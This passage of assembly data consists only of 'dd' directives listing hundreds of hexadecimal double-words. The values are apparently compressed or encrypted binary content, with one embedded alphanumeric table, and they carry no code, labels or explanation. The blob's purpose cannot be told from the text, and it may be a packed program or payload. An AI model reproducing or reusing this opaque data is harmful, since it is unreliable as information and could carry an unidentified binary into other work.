dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h
dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h
dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh
dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch
dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h
dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h
dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h
dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h
dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h
dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h
dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h
dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h
dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch
dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh
dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch
dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h
dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h
dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah
dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h
dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h
dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h
dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h
dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh
dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h
dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h
dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h
dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh
dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h
dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh
dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h
dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh
dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h
dd 2C7F40FBh, 9B831F4Ch
dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h
dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h
dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h
dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h
dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah
dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h
dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h
dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h
dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h
dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h
dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh
dd 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h
dd 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh, 8BE980E7h
dd 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h, 0A01D12FAh
dd 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h
dd 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh
dd 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h
dd 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah
dd 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h, 0E9027F76h
dd 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch
dd 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h
dd 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h
dd 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh
dd 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h, 0EB48DBB6h
dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h
dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh
dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh
dd 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h
dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h
dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h
dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h
dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h
dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh
dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h
dd 374272Ch, 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h
dd 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h
dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h
dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h
dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah
dd 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h, 1EDBFE01h
dd 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h, 3E60CB00h
dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h
dd 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh
dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah
dd 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h
dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h
dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh
dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h
dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h
dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h
dd 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h
dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch
dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h
dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h
dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h
dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah
dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h
dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h
dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh
dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h
dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h
dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h
dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh
dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h
dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h
dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h
dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh
dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh
dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h
dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h
dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh
dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h
dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch
dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh
dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h
dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah
dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h
dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h
dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh
dd 42E4F178h, 1C0E397Eh
dd 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h
dd 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh
dd 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h
dd 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h
dd 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h
dd 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh
dd 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h
dd 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h
dd 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh
dd 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch
dd 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h
dd 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch
dd 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h
dd 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h
dd 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h
dd 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h, 0CF507480h
dd 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h
dd 91757948h, 11FE42A5h, 0B657700h, 75676B5h, 5478ABh
dd 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch
dd 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh
dd 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h
dd 76F4F0Fh, 0E3C8FDF2h, 8A225500h, 0BDEAF8FCh, 759F008Bh
dd 5334AA87h, 0C7027C8Dh, 0CA1E88A3h, 840740C3h, 28A00D5h
dd 274307ECh, 0DE004647h, 7570B033h, 28E6E8h, 2A09BC80h
dd 4B26048Bh, 16C78A00h, 0F13E0649h, 0F40000Dh, 0C8E65B81h
dd 7D3B0C34h, 37311824h, 5711DCh, 40478014h, 0D97B754Bh
dd 28EFF100h, 50390563h, 4E8E8B9h, 0CF498F20h, 0F8E280ECh
dd 0B100B054h, 2E0BAFFh, 39735C8h, 496071A7h, 0D9B013FCh
dd 2900ADC2h, 4B89A09Dh, 7CDB85h, 5843762Dh, 0A5799FD7h
dd 41023000h, 0FF5EE180h, 0D9953C01h, 0E9181480h, 0C70A57E2h
dd 88A11C00h, 0F21F75Dh, 408C0059h, 183C8D12h, 307F2AC3h
dd 2ED61F00h, 2410A9EBh, 75217EABh, 0E3800002h, 0FC3245F3h
dd 75011A6Ah, 0FE4134F0h, 0D670DFB6h, 0E52C0749h, 0E07D3173h
dd 0B9FF3E62h, 4D9FD400h, 5F9589ECh, 9334001Ch, 9BDD88B0h
dd 1A1D0C71h, 0A89DE410h, 6EB78680h, 0C776B4h, 0DE3D34Ah
dd 0D6E8FD4Fh, 7E400401h, 4730BE21h, 0E0446130h, 13FF7D18h
dd 1A2CBFh, 0AF4ED6FAh, 0F2B89F23h, 59760E9h, 5FE4FE00h
dd 82783EBAh, 5816037Bh, 9297831Dh, 755BC998h, 33ADFC00h
dd 8D487C06h, 89231FBBh, 0A7084157h, 61042035h, 904EF815h
dd 54A2FE03h, 8041C59Ch, 7444342h, 48474645h, 4B4A0049h
dd 4E004D4Ch, 0A51504Fh, 38545352h, 5801C655h, 62615A59h
dd 6564C063h, 68676603h, 806B6A69h, 76E6D6Ch, 7271706Fh
dd 75740073h, 780E7776h, 307A79h, 34333231h, 37361C35h
dd 2B390038h, 24203D2Fh, 9D284Ch, 7D7B5D5Bh, 703A3B2Ch
dd 5C5F002Dh, 927222Ah, 91000D0Ah, 0AAE4C4E0h, 7388E867h
dd 0DA950F04h, 0C55E24FFh, 0C084EA21h, 0EC8B2706h, 1490B926h
dd 3620CB03h, 70D5A801h, 15E60FFCh, 0C62080B5h, 5C49E960h
dd 9E099B00h, 9C732D85h, 947A00FCh, 114A641Bh, 96FC6B5Bh
dd 8CEC9F00h, 0DB2D16DCh, 0C39707C0h, 914B5421h, 0FC66C204h
dd 190759E4h, 941FEBECh, 956BC70h, 4052008Ah, 0D4CF5C7Ch
dd 33001571h, 0FF273929h, 3C4BA3F4h, 790010FDh, 83481F05h
dd 400093C8h, 0A5CEB6F0h, 823252h, 0D98CD5F4h, 0C6660347h
dd 11F01600h, 5521429Fh, 4ABF0051h, 6C7EE292h, 0BB0076E1h
dd 0EB071569h, 41B929h, 0DC30630Ah, 0AB83E806h, 5600807Eh
dd 0E7C1157Ch, 0F869CFh, 8BFD097Dh, 7E58562h, 8F82B80Eh
dd 464BC10Bh, 3D60ED05h, 76EA00F0h, 2BBCE14h, 0C7143032h
dd 0CAF468h, 0EFC11A13h, 1C6FF24h, 336AD94h, 41FA6E7Eh
dd 2B13ED8Ch, 6AA1B0h, 0A6C246Dh, 7BEF947Fh, 15684A00h
dd 648CD44h, 387A4Bh, 519E418Bh, 2F02BAF3h, 921ACF07h
dd 0E83084E9h, 7BDD206h, 0A7EC4FF9h, 2ADF90C2h, 2004589h
dd 169F4999h, 0ECD9C65Ah, 6B7623h, 2F42C288h, 0F0CA36FFh
dd 0BA70E100h, 0F969CB33h, 0AD5C00D4h, 6068A240h, 627F6FD8h
dd 3BB50303h, 0A86D5AA4h, 1FE361Dh, 5315C83Fh, 0D4952D01h
dd 0D8023B81h, 0C029B27Ch, 6EE0E01Bh, 592EC49h, 50B1C594h
dd 2132839Fh, 0B2525207h, 62B071C4h, 790B0A0Dh, 1EB473FFh
dd 15D80CAh, 0B186A9C6h, 0A33EF44Fh, 50495307h, 16B5B95Bh
dd 32A0C1C7h, 0FC982A64h, 0F8281C13h, 5EB9C023h, 52250194h
dd 4690200h, 484EB36Fh, 0A25F0010h, 0BF446CF0h, 25001609h
dd 9DC24FAEh, 3081B8h, 9208E2C1h, 0E90071Dh, 47D10B00h
dd 75484B0Dh, 782E74EEh, 0FAB70066h, 498A01D3h, 0C0F8840h
dd 206A4306h, 0E183CAC1h, 6CD5003Fh, 184C2596h, 0EAFA270Eh
dd 6031E70Fh, 0D6D4006Bh, 79FC6ACh, 68B1527Fh, 900A97C9h
dd 750BCB7Eh, 6B80D100h, 902D37D8h, 0B85000E6h, 477CE29Fh
dd 3F72A4A3h, 4058AB00h, 252785A1h, 9F000C6h, 5F1CF405h
dd 8F000F15h, 334E99A4h, 0EC859A23h, 0F36A0058h, 0CAA15AA9h
dd 761E05F1h, 308A2B8Dh, 7C01BB3Ah, 0E0EFE378h, 0A2D0D6F5h
dd 0A4EC64h, 0F692FF30h, 75023A07h, 0E2C64600h, 94D701EFh
dd 0F83E0F17h, 7CC08483h, 0B6D44733h, 0BCA8E07h, 5E90148Dh
dd 139629h, 0C9241C1Eh, 0FE0274B1h, 1ADC0900h, 0D280B8FFh
dd 3B5E079h, 754F4304h, 7DD830D3h, 10017414h, 0C45B1FFh
dd 0C03E3B08h, 0A689057Ah, 2EDDF400h, 44D12D1h, 341D0F65h
dd 4700F78Ah, 0FD44F8A1h, 0A200D9E4h, 6590899Dh, 582E38h
dd 0F02D704Fh, 10E9A151h, 0A2271801h, 74532F85h, 0BCD1D8h
dd 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh, 4717CDC0h, 1E8AEB5h
dd 0F6B02BCFh, 20E6D655h, 0F0122C84h, 9CECC3FAh, 0D465007Eh
dd 0C1E4ED15h, 0F7000316h, 0CE2B94BFh, 756247h, 12EC04B9h
dd 0A7C82728h, 1114D3Ch, 2EDE2CD3h, 0C0D7A242h, 1EAED4A3h
dd 8FCAA4E4h, 5A3DD69h, 0DCB87610h, 0D0018BD7h, 89DF6F62h
dd 9220A270h, 107891h, 13A9D812h, 2C78F0CBh, 80060B00h
dd 60E25C3Bh, 4BFEFEh, 0B57EB0DEh, 0E5BD2AECh, 154F1B00h
dd 194558F4h, 927777h, 7FB7DD56h, 5E5F630Bh, 0F4716001h
dd 91A5C438h, 875F0h, 0F24A5A33h, 44022717h, 41A4EF00h
dd 69E95748h, 5FEC6Fh, 37814531h, 9453885Bh, 57018D7Ah
dd 0E8719D0Dh, 46C847BFh, 17C800A0h, 5FC34287h, 34029CDDh
dd 0F0C5FC91h, 2256C1AAh, 3812CCh, 72F77DA4h, 19681384h
dd 0C174C600h, 505FC752h, 0A69F00BDh, 9D0F7386h, 2C000279h
dd 34EC9632h, 64AF37h, 39C495C6h, 56B29EB3h, 0C585F71Fh
dd 4DB86345h, 0C3EC58C0h, 0D31D003Fh, 0A632E606h, 0A094B17h
dd 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h, 93FA0044h, 0D01B9266h
dd 5E01BB65h, 14B45026h, 2AD419F2h, 0C79F0987h, 0E60089A9h
dd 0AF560574h, 316F839h, 9CB466ACh, 0D88CC364h, 758BDDh
dd 4B937C2Fh, 6A24A058h, 7A820300h, 5AC773A4h, 0BA727Eh
dd 27841D5h, 0C327116Ch
dd 4B8E5901h, 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h
dd 0A39F4507h, 86202F71h, 0D94161h, 7BDB2529h, 676F881h
dd 35A85500h, 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh
dd 0AC034A08h, 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah
dd 0FC93B909h, 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h
dd 0B062A7h, 42BFC963h, 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah
dd 124F1D5Bh, 9C5C044h, 2C464772h, 40703802h, 7D94C0AAh
dd 0E8C0230Fh, 0FC9591DBh, 45F60A7Dh, 8D268F00h, 7AF2357Bh
dd 1AD2052Fh, 0C0F007D3h, 0C2552B85h, 0F4D07800h, 1B3BC13h
dd 100B002Eh, 0E881A64Ah, 910F2924h, 60F164A5h, 9F0D9669h
dd 95840046h, 866A4BF6h, 0E8075414h, 302B75FCh, 0F0CBE693h
dd 0E329BAh, 0AC2C164Ch, 0F55CF4E4h, 48FC2D01h, 5A59A165h
dd 70A580F4h, 0A62107E2h, 436C14C4h, 35A94485h, 5F51E0DCh
dd 92F46000h, 0C9311EFCh, 0CA090549h, 80405553h, 0C807302Dh
dd 94E98800h, 0B6F2E06Ch, 667C08h, 0D806EBD1h, 35F00973h
dd 83203E1Ch, 0B8F38100h, 0CEFEEDh, 31EB1C75h, 4FDA8EC1h
dd 5BD5E100h, 0EF6CD2F7h, 0A5D0003Eh, 0AFA955C0h, 61004384h
dd 97C447D4h, 0E8510E2h, 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h
dd 0BBFC59ADh, 80F3A53Eh, 46712D63h, 7B849743h, 0FC1807B2h
dd 518A1403h, 0C09DDF92h, 9EB0D368h, 0F8043Dh, 5DD0D45Fh
dd 3CC60150h, 8980B0A2h, 85FC29B7h, 4DEE17A9h, 7B2CDC00h
dd 5A241051h, 0E8010021h, 0B1ECDD4Fh, 93057102h, 52DF2347h
dd 0F31617C0h, 4FAC0028h, 77E50FCCh, 3E002941h, 0C8099412h
dd 1B1697h, 0F9A8072Dh, 7CD15A58h, 0F0564500h, 0BA51F6E6h
dd 5B380160h, 0CE077948h, 0B146CCEBh, 10FE8300h, 0C1ECF1EDh
dd 0DC95005Eh, 96D37224h, 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh
dd 8CB000E6h, 70834FF8h, 7C0058FFh, 3C709EFh, 9160C0h
dd 0A8A0048Ah, 3B94980Bh, 61114A00h, 51010244h, 0E3C10012h
dd 88C33683h, 71174606h, 2800295Fh, 34B264ABh, 0A58B1DAEh
dd 0E45200D2h, 92B2CB1h, 5CC45905h, 0C8016278h, 565B5A02h
dd 7F89760h, 8BFC12AAh, 40C2B7F3h, 789E7908h, 0B1A96000h
dd 985E58Eh, 0FE500134h, 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h
dd 7400197Bh, 49CF5C1Fh, 1D952044h, 8D1118h, 0CEEA2FA3h
dd 0AB984556h, 58B02100h, 209EA967h, 2AF3007Eh, 2C29BC6Dh
dd 0D8E89F57h, 0CA529C00h, 42A4968Fh, 0D575FFh, 0ABE8C3C1h
dd 290C3292h, 0AF880807h, 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h
dd 1C77CEEDh, 61E2BA6h, 814097AAh, 0E38D5426h, 5E280070h
dd 0DCBC2C4Fh, 0F277C28Bh, 0B689E200h, 912F1CAAh, 834000E4h
dd 64751EF8h, 0DE019A5Dh, 0E83120BBh, 646049A3h, 0B7241E79h
dd 0A2A500A9h, 4659DE5Ch, 62B52900h, 2EA68A3Dh, 891A0010h
dd 0AE1F783Bh, 0EF1E200Dh, 0A2405096h, 8B100E75h, 0A98D00FEh
dd 7ADF1DEh, 6600A5F3h, 2D5B1E29h, 51AABDh, 0CBCC734Ch
dd 0C9705CB8h, 0BD4E000h, 3F77FC45h, 29C400F5h, 7C27785Eh
dd 4C0081A9h, 0B22B1ED9h, 3B8352C0h, 0BD0088DAh, 0B3ABFE59h
dd 0B900D40Ah, 33B4A913h, 1420AAh, 5F90C3C9h, 0AF81EA92h
dd 5108B900h, 0E97C805Eh, 126E001Fh, 7B74A9DDh, 500EB3Bh
dd 570F01B5h, 0C282Ch, 92049EC8h, 0CCE40DC9h, 0EE063Ch
